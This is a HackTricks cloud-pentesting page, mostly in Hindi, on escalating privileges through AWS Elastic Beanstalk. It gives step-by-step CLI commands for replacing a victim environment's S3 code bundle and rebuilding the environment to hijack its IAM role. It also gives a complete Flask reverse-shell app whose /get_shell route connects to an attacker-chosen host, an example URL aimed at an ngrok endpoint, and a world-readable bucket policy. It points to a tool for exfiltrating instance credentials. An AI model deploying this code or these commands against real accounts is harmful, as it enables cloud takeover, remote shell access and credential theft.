AWS - Elastic Beanstalk Privesc
Reading time: 6 minutes
tip
AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE)
Azure हैकिंग सीखें और अभ्यास करें:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks का समर्थन करें
- सदस्यता योजनाओं की जांच करें!
- हमारे 💬 Discord समूह या टेलीग्राम समूह में शामिल हों या हमें Twitter 🐦 @hacktricks_live** पर फॉलो करें।**
- हैकिंग ट्रिक्स साझा करें, PRs को HackTricks और HackTricks Cloud गिटहब रिपोजिटरी में सबमिट करके।
Elastic Beanstalk
More info about Elastic Beanstalk in:
warning
Beanstalk में संवेदनशील क्रियाएँ करने के लिए आपको कई विभिन्न सेवाओं में बहुत सारी संवेदनशील अनुमतियाँ होनी चाहिए। आप उदाहरण के लिए arn:aws:iam::aws:policy/AdministratorAccess-AWSElasticBeanstalk
को दी गई अनुमतियों की जांच कर सकते हैं।
elasticbeanstalk:RebuildEnvironment
, S3 लिखने की अनुमतियाँ और कई अन्य
पर्यावरण के कोड वाले S3 बकेट पर लिखने की अनुमतियों और एप्लिकेशन को पुनर्निर्माण करने की अनुमतियों (इसके लिए elasticbeanstalk:RebuildEnvironment
और S3
, EC2
और Cloudformation
से संबंधित कुछ और की आवश्यकता है) के साथ, आप कोड को संशोधित कर सकते हैं, ऐप को पुनर्निर्माण कर सकते हैं और अगली बार जब आप ऐप तक पहुँचेंगे, तो यह आपका नया कोड निष्पादित करेगा, जिससे हमलावर को एप्लिकेशन और इसके IAM भूमिका क्रेडेंशियल्स को समझौता करने की अनुमति मिलती है।
# Create folder
mkdir elasticbeanstalk-eu-west-1-947247140022
cd elasticbeanstalk-eu-west-1-947247140022
# Download code
aws s3 sync s3://elasticbeanstalk-eu-west-1-947247140022 .
# Change code
unzip 1692777270420-aws-flask-app.zip
zip 1692777270420-aws-flask-app.zip <files to zip>
# Upload code
aws s3 cp 1692777270420-aws-flask-app.zip s3://elasticbeanstalk-eu-west-1-947247140022/1692777270420-aws-flask-app.zip
# Rebuild env
aws elasticbeanstalk rebuild-environment --environment-name "env-name"
elasticbeanstalk:CreateApplication
, elasticbeanstalk:CreateEnvironment
, elasticbeanstalk:CreateApplicationVersion
, elasticbeanstalk:UpdateEnvironment
, iam:PassRole
, और अधिक...
उल्लेखित और कई S3
, EC2
, cloudformation
, autoscaling
और elasticloadbalancing
अनुमतियाँ एक कच्चा Elastic Beanstalk परिदृश्य बनाने के लिए आवश्यक हैं।
- AWS Elastic Beanstalk एप्लिकेशन बनाएं:
aws elasticbeanstalk create-application --application-name MyApp
- एक AWS Elastic Beanstalk वातावरण (समर्थित प्लेटफ़ॉर्म):
aws elasticbeanstalk create-environment --application-name MyApp --environment-name MyEnv --solution-stack-name "64bit Amazon Linux 2 v3.4.2 running Python 3.8" --option-settings Namespace=aws:autoscaling:launchconfiguration,OptionName=IamInstanceProfile,Value=aws-elasticbeanstalk-ec2-role
यदि एक वातावरण पहले से ही बनाया गया है और आप नया नहीं बनाना चाहते, तो आप बस मौजूदा को अपडेट कर सकते हैं।
- अपने एप्लिकेशन कोड और निर्भरताओं को एक ZIP फ़ाइल में पैक करें:
zip -r MyApp.zip .
- ZIP फ़ाइल को S3 बकेट में अपलोड करें:
aws s3 cp MyApp.zip s3://elasticbeanstalk-<region>-<accId>/MyApp.zip
- एक AWS Elastic Beanstalk एप्लिकेशन संस्करण बनाएं:
aws elasticbeanstalk create-application-version --application-name MyApp --version-label MyApp-1.0 --source-bundle S3Bucket="elasticbeanstalk-<region>-<accId>",S3Key="MyApp.zip"
- अपने AWS Elastic Beanstalk वातावरण में एप्लिकेशन संस्करण को तैनात करें:
aws elasticbeanstalk update-environment --environment-name MyEnv --version-label MyApp-1.0
elasticbeanstalk:CreateApplicationVersion
, elasticbeanstalk:UpdateEnvironment
, cloudformation:GetTemplate
, cloudformation:DescribeStackResources
, cloudformation:DescribeStackResource
, autoscaling:DescribeAutoScalingGroups
, autoscaling:SuspendProcesses
, autoscaling:SuspendProcesses
सबसे पहले, आपको पीड़ित में चलाने के लिए कोड के साथ एक वैध Beanstalk वातावरण बनाना होगा, जो पिछले चरणों का पालन करता है। संभावित रूप से एक साधारण zip जिसमें ये 2 फ़ाइलें शामिल हैं:
from flask import Flask, request, jsonify
import subprocess,os, socket
application = Flask(__name__)
@application.errorhandler(404)
def page_not_found(e):
return jsonify('404')
@application.route("/")
def index():
return jsonify('Welcome!')
@application.route("/get_shell")
def search():
host=request.args.get('host')
port=request.args.get('port')
if host and port:
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect((host,int(port)))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p=subprocess.call(["/bin/sh","-i"])
return jsonify('done')
if __name__=="__main__":
application.run()
एक बार जब आपके पास अपना खुद का Beanstalk env चल रहा हो आपका rev shell, तो इसे शिकार के env में स्थानांतरित करने का समय है। ऐसा करने के लिए आपको अपने beanstalk S3 बकेट की बकेट नीति को अपडेट करना होगा ताकि शिकार इसे एक्सेस कर सके (ध्यान दें कि इससे बकेट सभी के लिए खुल जाएगा):
{
"Version": "2008-10-17",
"Statement": [
{
"Sid": "eb-af163bf3-d27b-4712-b795-d1e33e331ca4",
"Effect": "Allow",
"Principal": {
"AWS": "*"
},
"Action": [
"s3:ListBucket",
"s3:ListBucketVersions",
"s3:GetObject",
"s3:GetObjectVersion",
"s3:*"
],
"Resource": [
"arn:aws:s3:::elasticbeanstalk-us-east-1-947247140022",
"arn:aws:s3:::elasticbeanstalk-us-east-1-947247140022/*"
]
},
{
"Sid": "eb-58950a8c-feb6-11e2-89e0-0800277d041b",
"Effect": "Deny",
"Principal": {
"AWS": "*"
},
"Action": "s3:DeleteBucket",
"Resource": "arn:aws:s3:::elasticbeanstalk-us-east-1-947247140022"
}
]
}
# Use a new --version-label
# Use the bucket from your own account
aws elasticbeanstalk create-application-version --application-name MyApp --version-label MyApp-2.0 --source-bundle S3Bucket="elasticbeanstalk-<region>-<accId>",S3Key="revshell.zip"
# These step needs the extra permissions
aws elasticbeanstalk update-environment --environment-name MyEnv --version-label MyApp-1.0
# To get your rev shell just access the exposed web URL with params such as:
http://myenv.eba-ankaia7k.us-east-1.elasticbeanstalk.com/get_shell?host=0.tcp.eu.ngrok.io&port=13528
Alternatively, [MaliciousBeanstalk](https://github.com/fr4nk3nst1ner/MaliciousBeanstalk) can be used to deploy a Beanstalk application that takes advantage of overly permissive Instance Profiles. Deploying this application will execute a binary (e.g., [Mythic](https://github.com/its-a-feature/Mythic) payload) and/or exfiltrate the instance profile security credentials (use with caution, GuardDuty alerts when instance profile credentials are used outside the ec2 instance).
The developer has intentions to establish a reverse shell using Netcat or Socat with next steps to keep exploitation contained to the ec2 instance to avoid detections.
tip
AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE)
Azure हैकिंग सीखें और अभ्यास करें:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks का समर्थन करें
- सदस्यता योजनाओं की जांच करें!
- हमारे 💬 Discord समूह या टेलीग्राम समूह में शामिल हों या हमें Twitter 🐦 @hacktricks_live** पर फॉलो करें।**
- हैकिंग ट्रिक्स साझा करें, PRs को HackTricks और HackTricks Cloud गिटहब रिपोजिटरी में सबमिट करके।